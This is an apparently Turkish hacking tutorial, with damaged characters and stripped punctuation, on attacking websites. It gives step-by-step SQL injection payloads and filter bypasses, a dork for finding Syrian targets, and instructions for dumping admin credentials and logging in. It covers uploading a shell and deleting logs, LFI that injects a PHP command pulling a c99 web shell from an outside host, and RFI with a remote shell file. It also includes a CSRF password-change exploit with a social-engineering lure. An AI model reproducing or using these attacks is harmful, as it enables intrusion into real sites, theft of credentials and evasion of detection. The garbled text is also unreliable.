wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip

Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız

wwwsayfamcomsayfaphpid=1+union+select+123456789--

yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım

Bir bypass da kullanabileceğimiz bazı karakter oluşumları

---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))

İlk olarak

wwwsayfamcomsayfaphpid=1+union+select+123456789--

deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))

wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)

wwwsayfamcomsayfaphpid=-1unionselect123456789--+

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -

wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+

wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--

wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--

şeklinde onlarca bypass teknikleri bulunmaktadır ))

c)

Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim

Şimdi sırada group_concat komutunun bypass edilmesinde

Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde

wwwsayfacomsayfaphpid=-1+union+select+123456789--

ne demiştiş 469 yansımıştı 4 den devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi

Group_concat bypass tipleride aynı mantıkla yapılır

group_concat()

grOUp_ConCat(user0x3epass)

group_concat(0x3c62723e)

şeklinde uygulamalar yapacağız

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

veya

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--

ve

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--

şeklinde bypasslar soumlz konusudur

d)

Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))

Taktiklerimiz aynıdır tekrar aynı site ile devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde yaptık bize tablo isimlerini vermedi

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum

e)

Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo

Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--

Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))

Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır

Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek

LFI(Local File İnclude)

1- Local File İnclude Nedir

LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim

2- Local File İnclude Mantığı Nedir

LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor

3- Saldırı Anı (Accedilığın Tespiti)

Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz

wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz

Bize verilen hatadan yola ccedilıkalım

Warning include() ldquohomeuserpublic_htmlsayfaphprdquo

Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz

4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)

Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık

Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım

home -gt 1

user -gt 2

public_html -gt 3

sayfaphp -gt 4

Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır

wwwsitecomsayfaphpid= etcpasswd şeklinde

-HTML Code

HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut

Komut etcpasswd

Encode 2F2F2F2Fetc2Fpasswd

Tekrar deneyelim

wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk

- CharCode

CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım

wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız

Komut etcpasswd

CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)

Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım

wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)

Şeklinde okudukDosyamız başarılı bir şekilde okundu )

5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)

Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza

Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor

wwwsitecomc99php şeklinde ccedilagırabilirsiniz

6- Local File İnclude Nerelerde Tespit Edilebilir

a-) Search kutusu

Bir Search kutusu duumlşuumlnuumln

Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde

Eğer ekrana

Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur

RFI(Remote File İnclude)1- Remote File İnclude Nedir

RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var

2- Remote File İnclude Mantığı Nedir

Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir

3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)

Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz

wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız

Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten

4- Remote File İnclude Nerelerde Tespit Edilebilir

a-Search kutusu

Bir Search (Arama) duumlşuumlnuumln

ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir

CSRFXSRF (Cross-Site RequestForgery)

1-Oumlnsoumlz

XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde

XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın

2- Cross Site Request Forgery Nedir

Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker

3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır

Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere

Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır

4 Nasıl Kullanılır - Exploitlenir

Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim

Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit

wwwsitecomforumpassworddegistirphpyenipassword=mahserat

Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım

Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde

Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir

Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım

Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana

NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek

Merhaba kardeşim

Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş

Uygulama httpmehmetkelepceorgdosyahtml

Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek

5- XSS ve CSRF Arasındaki Benzerlikler

CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır

Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle

Page 17: Web Güvenlik Açıkları ve Kullanımı (Geniş Anlatım)

SQL İnjection ccedilok geniş kapsamlı ve ccedilok tehlikeli bir accedilıktırTuumlm sistemlerde rastlanabilen bir accedilıktır

SQL İnjection saldırılarının id= değerlerinin bulunduğu sitelerde Search (Arama) kutucuklarındaformlarda vs yerlerde bulunabilirYani veri alışverişinin yapıldığı her yerde bulunabilirSize başlangıccediliccedilin bir Dork vereceğimDorkrsquou Googlersquoda arattığınızda karşınıza bir suumlruuml site gelecekBu sitelerde iddeğerinin bulunduğu yerlerde SQL İnjection accedilığı araması yapabilirsiniz

Dork inurlrdquophpid=rdquo sitesy -gt bu dorkta şunu dedik(Suriye) Sy sitelerinde phpid= değerininbulunduğu siteleri goumlsterSQL İnjection saldırısına aşağıda değineceğiz

6- Ccedileşitli Yerlerde SQL İnjection Saldırısı Yapmak

Yukarıda da bahsettiğim gibi SQL İnjection saldırısını birccedilok yerde yapabilirizŞimdi bu accedilığı iyice birtanıyalım

a-) SQL İnjection Accedilığı Nasıl Tespit Edilir (Tipik SQL İnjection Hatası)

Bir Web Site duumlşuumlnuumln wwwsitemcomsayfaphpid=1 şeklinde

Burada SQL Accedilığının olup olmadığını id= değerinin sol tarafındaki değerin sonuna veya değerinbaşına lsquo veya lsquoa koyarak anlayabilirizYani linkimizin son şekli

wwwsitemcomsayfaphpid=1rsquo veya wwwsitemcomsayfaphpid=1rsquoa şeklinde oluyor

Eee tamam ben aynı şekilde yaptım accedilık olduğunu nasıl anlayacağım

SQL Accedilıklarını Tipik olarak bize verdiği hatadan anlarızYani hatalar SQL İnjection ccedileşitlerine goumlredeğişkenlik goumlsterebiliyorBiz şuanda normal bir SQL Accedilığının nasıl bulanacağına yoğunlaşalım

Oumlrnek bir SQL İnjection hatası

Evet lsquo koyduktan sonra bu hatayı alıyorsak burada SQL İnjection accedilığı olduğunu kavrıyoruz

b-) Search Kutularında SQL İnject Accedilığı Aramak

Search Arama kelimesinin ingilizce kavramıdırŞimdi sitelerdeki Search kutularında SQL Accedilığıarayacağız

Search kutucuğu goumlrduumlğuumlnuumlz yerlere lsquo - lsquoa gibi işaretleri yapıp ara butonuna tıklıyoruzEğer ekrandatekrardan bir SQL İnjection hatası alıyorsanız Search dosyasında accedilık olduğunu anlıyoruz

c-) Kayıt Formlarında SQL İnject Accedilığı Aramak

Kayıt formlarının siteler iccedilin ccedilok tehlike arz eden kısımlar olduğundan bahsetmiştikYukarıda daXSS accedilığının nasıl aranacağında goumlrmuumlştuumlkHemen SQL Accedilığının nasıl aranacağına bakıyoruz

Evet goumlruumllduumlğuuml uumlzere tuumlm textrsquolere lsquoa yazılmışDaha sonra Goumlnder Butonu veya kayıt ol butonu varsatıkladığımızda bizim karşımıza tekrar SQL Hatası geliyorsa kayıt dosyasında accedilık olduğunu anlarız

d-) İD Değerinin Bulunduğu Sitelerde SQL İnject Accedilığı Aramak

Şimdi İD değerinin bulunduğu yerlerde SQL Accedilığı aramayı goumlreceğizİD değeri değişkenlikgoumlsterebilirSiteyi kodlayan Coder kardeşimiz Veri alışverişinde İD değeri yerine cat= s= i= q= vsdeğerler koyabilirYani bu Coder kardeşimizin elinde olan bişeydirBiraz farklılık accedilısından ben şuan İDdeğeri yerine cat= değerini kullanarak SQL Accedilığı arayacağım

Evet goumlruumllduumlğuuml uumlzere cat= ile alınmış bir veriVeri numarası 9 muş

Goumlrduumlğuuml gibi değerde bir accedilık soumlz konusu

e-) Ziyaretccedili Defterinde SQL İnjection Accedilığı Aramak

Ziyaretccedili Defterleri Hackerlar iccedilin bir nimet sayılabilir(Guumlvenliğin sağlanmaması durumunda)

Şimdi bir ziyaretccedili defterinde SQL Accedilığı arayalımZiyaretccedili Defterinin tuumlm text kutularına lsquo veya lsquoaişaretlerinden birini koyuyoruz

ŞeklindeGoumlnder butonuna bastığınızda eğer bir SQL Hatasıyla karşılaştıysanız burada bir SQLAccedilığının olduğunu anlarsınız

7-Saldırı Anı(SQL Accedilığının Tespiti)

Bir Web Sayfası duumlşuumlnuumln

wwwsayfamcomdosyaphpid=2 olsunBurada accedilık tespiti yapalım hemen

wwwsayfamcomdosyaphpid=2rsquo Koyduk hata aldıkYani bir SQL Accedilığı soumlz konusuŞimdi SQLAccedilığını aldık ama ne yapacağımızı bilmiyoruz Yapacağımız işlem ccedilok basit

8-Saldırı Anı2(Kolon Sayısı Oumlğrenmek Kolon Sayısı Nedir Neye Yarar)

Evet accedilık tespitini yaptıkŞimdi kolon sayısını bulacağızAma oumlncesinde Kolon sayısı nedir neye yararbir goumlz atalım

Veritabanındaki sutuumlnlara kolon (column) denirİccedilerisinde verileri barındırırPek accedilıklamaya gerekyokSQL Programlama dilini oumlğrenecek arkadaşlar ayrıntıları zaten oumlğrenecektirler

Evet accedilığın olduğu sitemiz wwwsayfamcomdosyaphpid=2rsquo idiŞimdi ORDER BY Komutu ileKolon sayısını oumlğrenelim

wwwsayfamcomdosyaphpid=2+order+by+1 yapıyoruzSayfa eski haline geri doumlnduuml

wwwsayfamcomdosyaphpid=2+order+by+10 yapıyoruzEkrana

Şeklinde bir hata geldiYani burada bize kolon sayısının 10 lsquodan kuumlccediluumlk olduğunu soumlyliyorHemen birbir aşağı iniyoruz

wwwsayfamcomdosyaphpid=2+order+by+9 yaptıkSayfa tekrar aynı hatayı verdi

wwwsayfamcomdosyaphpid=2+order+by+8 yapıyoruz sayfa duumlzeldiYani Kolon sayısı 8rsquomiş

Dipnot Eğer order+by+8 yaptığınızda ekrana birşey yansımıyor veya sayfa duumlzelmiyorsa link sonuna-- veya --x +-- şeklinde işaretler koyarak net sonuccedillar alabilirsiniz

9-Saldırı Anı3(Ekrana Kolon Sayısını Yansıtma - Aksi Halde Bypass)

Evet kolon sayımızı oumlğrendikKolon sayımız 8rsquomişŞimdi ekrana kolonları yansıtacağızDaha sonraekrana yansıyan kolonlardan işlemlerimize devam edeceğizKolon sayılarını yansıtma işlemini UNIONSELECT komutları ile yapıyoruzHemen başlayalım

Oumlrnek wwwsayfamcomsayfaphpid=2+union+select+ kolon sayılarımız-- şeklinde hemenyapalım

wwwsayfamcomsayfaphpid=2+union+select+12345678-- yazdıkSayfamıza 12345678sayılarından hangileri yansıdıysa o sayılardan birini seccediliyoruz ve o sayı ile devam edeğiz

-Bypass Yukarıda ekrana kolon sayılarını yansıtmıştıkEkrana kolonların yansımadığını farzedelimBurada devreye bypass giriyorBypassrsquoın net bir tanımı yokturAma bu şekilde saldırılaryaptığımızda bizim karşımıza ccedilıkan engelleri bazı yollarla aşmanın genel ismidir bypass

Şimdi wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde yazdık ekrana kolonyansımadıBypassrsquoı devreye sokacaz hemen

wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde ifadesinikullanarak bypass ediyoruzBu şekilde genelde ekrana kolon sayısı yansırAma bununda faydaetmediği yerler oluyorO Vakit

wwwsayfamcomsayfaphpid=2+union+(select+12345678--) veyawwwsayfamcomsayfaphpid=-2+union+select+12345678-- yapıyoruzBu genelde faydaeder ama bunuda kabul etmediği zamanlarda şunları yapabiliriz

wwwsayfamcomsayfaphpid=-2+UnIon+SeLeCt+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678-- şekillerindede bu hatalarıaşmamız muumlmkuumlnduumlrBununla ilgili Web Guumlvenlik Accedilıkları boumlluumlmuumlnde yeterince konum mevcuttur

Şimdi bakalım ekrana yansıyan kolonlara OumlR 2 ve 7 sayıları yansımışBundan sonraki tuumlmişlemlerimizi bu 2 ve 7 sayıları uumlstuumlnden gerccedilekleştireceğizYani yansılan kolonlar uumlzerinden

10-Saldırı Anı4(Tablo İsimlerini Ccedilekmek - Aksi Halde Bypass)

Ekrana nasıyan 2 ve 7 kolonları uumlzerinden devam ediyoruz

Oumlnce Group_Concat Fonksiyonunu tanıyalım

Bu fonksiyon sorgumuz sitede elde ettiğimiz verileri birleştirmeye yarar Oumlrneğin veritabanındakullanıcı adı ve şifre iki ayrı kolonda tutuyorsak bu fonksiyon aracılığı ile birleştirip doumlnduumlrebilirizŞimdibiz kolon sayılarında 2 yi seccedilip 2 uumlzerinden işlem yapalım

wwwsayfamcomsayfaphpid=-2+union+select+1database()345678-- Şeklinde bir sorgugoumlnderdiğimizde sitemizdeki database (Veritabanı) ismini oumlgreniyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1version()345678-- Şeklinde bir sorguda isebize MySql Veritabanırsquonın Versiyonunu verirBunu version şeklindede sorgulayabilirsinizŞimditabloları ccedilekelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables--

Şeklinde bir sorgu goumlnderdikPeki biz burada ne dedik

table_name = Tablo isimleri

information_schema = MySql Veritabanındaki INFORMATİON_SCHEMA adlı veritabanındakitabloların kolonların isimlerini veriri

information_schematables = INFORMATİON_SCHEMA Adlı veritabanındaki tablo isimlerini bizeverir

information_schemacolumns = INFORMATİON_SCHEMA Adlı veritabanındaki kolon isimlerini bizeverir

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--

table_schema=database() = Bu sorguda bize sadece sitenin veritabanındaki tabloları vermesiniisteriz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--

Şeklinde bir sorgu goumlnderdiğimizde bize veritabanındaki tablo isimlerini verecektirBuradaki komutlarıiyi tanımanızı tavsiye ederim

Ekrana yansıyan tablo isimlerine bir bakalım

adminresimleradreslerhizmetler vs vs olsun

bize burada lazım olacak tabloyu seccediliyoruz admin

Şimdi biz bu komutu sorgu olarak siteye goumlnderdikAma ekrana tablo isimler yansımadı neyapacağız

Burada gene araya bypass giriyorŞimdi sorguda vurgulanan yer neresidir Tablo isimleri

Şimdi sorgudaki tablo isteklerinde bir değişiklik yapıyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(TaBlE_Name)345678+from+information_schemaTabLeS+where+TaBLeS_schema=database()--

Şeklinde değişikliğimizi yapuyoruzEkrana tablo isimlerimizin yansıdığını goumlreceksiniz

Bu Şekilde de yansımadığını farz edelimBurada database() fonksiyonunu hexleyelim (Hex birşifreleme tuumlruumlduumlrMozillarsquonın Hackbar Eklentisinde Hex hizmeti mevcuttur)

Hexlenecek isim database()

Hexlenmiş Hali 64617461626173652829

Yanlız şunu unutmamak gerekirHexlediğimiz tuumlm değerlerin başına 0x koymamız gerekirYani sonhali şudur 0x64617461626173652829 Şimdi tekrar ccedilekelim tablolarımızı

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(column_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=0x64617461626173652829--

Sorguyu goumlnderdiğimizde tabloların yansıdığını goumlreceksinizBu Hex taktiğini kolonlar uumlzerindedeyapabilirsiniz

11-Saldırı Anı5(Tablolardan Hedef Veriyi Ccedilekmek - Aksi Halde Bypass)

Evet tablo isimlerini ekrana yansıttık istediğimiz bir tabloyu seccediltikTablo ismimiz admindi

Şimdi tablo iccedilerisindeki sutuumlnları ccedilekelim bakalım ne varmış

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--

Sorguyu goumlnderdikEkrana UsernamePasswordEmailid Şeklinde sutuumlnlar yansıdıBize lazımolacak Sutuumlnları seccediliyoruzBen UsernamePassword Seccediliyorum ve Devam ediyoruz

Eğer biz bu şekilde sutuumlnları yansıtma esnasında sutunlar yansımasaydı ne yapabilirdik Buradatekrar bir bypass tekniği giriyor işin iccedilineBurada admin tablosunu hexleyelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--

Hexlenecek ad admin

Hexlenmiş hali 61646d696e

Kullanılır hali 0x61646d696e Sorguyu goumlnderiyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=0x61646d696e--

Goumlnderdik ve ekrana tekrar UsernamePasswordEmailid Sutuumlnlarının yansıdığını goumlruumlyoruz

Şimdi seccediltiğimiz UsernamePassword sutuumlnlarının iccedilerisindeki veriyi ccedilekelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(UsernamePassword)345678+from+0x61646d696e--

Sorguyu goumlnderdik

Username admin

Password bugres

Evet Adminrsquoin kullanıcı adı ve şifresi yansıdıPeki yansımaydı nasıl bir bypass tekniğikullanırdıkUsername Passwordrsquo Char Codersquolarına ccedileviricezMozillarsquonın Hackbar Eklentisindemevcuttur

UsernamePassword Char Code Ccedilevrilmiş Hali

StringfromCharCode(85 115 101 114 110 97 109 101 44 80 97 115 115 119 111 114 100)

Char Code halini group_concat() fonksiyonunun arasına yazıyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(StringfromCharCode(85 115 101114 110 97 109 101 44 80 97 115 115 119 111 114 100))345678+from+0x61646d69--

Şeklinde sorguyu goumlnderdiğimizde tekrardan yansıma işleminin yapıldığını goumlreceksiniz

12-Saldırı Anı6(Hedef Veriyi Kullanarak Sisteme Girmek)

Ccedilektiğimiz KAdı ve Şifreyi kullanarak sisteme youmlnetici olarak giriş yapacağız şimdi

Tekrar hatırlayalım

Uname admin

Pword bugres

Youmlnetici olarak sisteme giriş yapabilmemiz iccedilin sitede bir youmlnetici panelinin olması gerekirBu Youmlneticipaneli yani admin paneli ccediloğu sitede mevcutturŞimdi biz admin panelini nasıl bulacağız

Panel yolunun tahmin ile veya farklı programlar kullanarak bulabilirizOumlnce bir tahmin yoluyladeneyelim

Eğer sistem Wordpress Joomla gibi hazır sistemler kullanılarak hazırlanmış ise admin panelleri zatenstandarttır

Wordpress Admin panel yolu wp-admin

Joomla admin panel yolu administrator

Eğer hazır sistem değilse tahmin veya programlarla bulabiliriz

Tahmine başlıyoruz

wwwsayfamcomadmin -gt Error

wwwsayfamcomyoneticiphp -gt Error

wwwsayfamcomadminphp -gt Error

wwwsayfamcomlog_inphp -gt Yess P

Evet admin panelini buldukLog_inphp imişKullanıcı adını ve Şifresini kullanarak panele girişyapıyoruzBurada iccedilerikleri değiştirebiliyoruzYeni iccedilerik ekleyebiliyoruzYani herşeyi yapabiliyoruz

Shell sokmak Bir upload boumlluumlmuuml bulup shellimizi upload ediyoruzSistemde yetki sahibiyiz

13-Saldırı Anı7(İzlerimizi Silmek)

Evet sisteme girdikSite sistemi log(kayıt) tutuyor olabilirYani admin paneline girişimizi veya uploadettiğimiz dosyaları log tutuyor olabilirBurada sistemde işimizi bitirdikten sonra yapmamız gereken şeyupload ettiğimiz shell i ve logları silmekSilmez isek tehlike arz ediyor

14-Sonuccedil

Neler yaptık

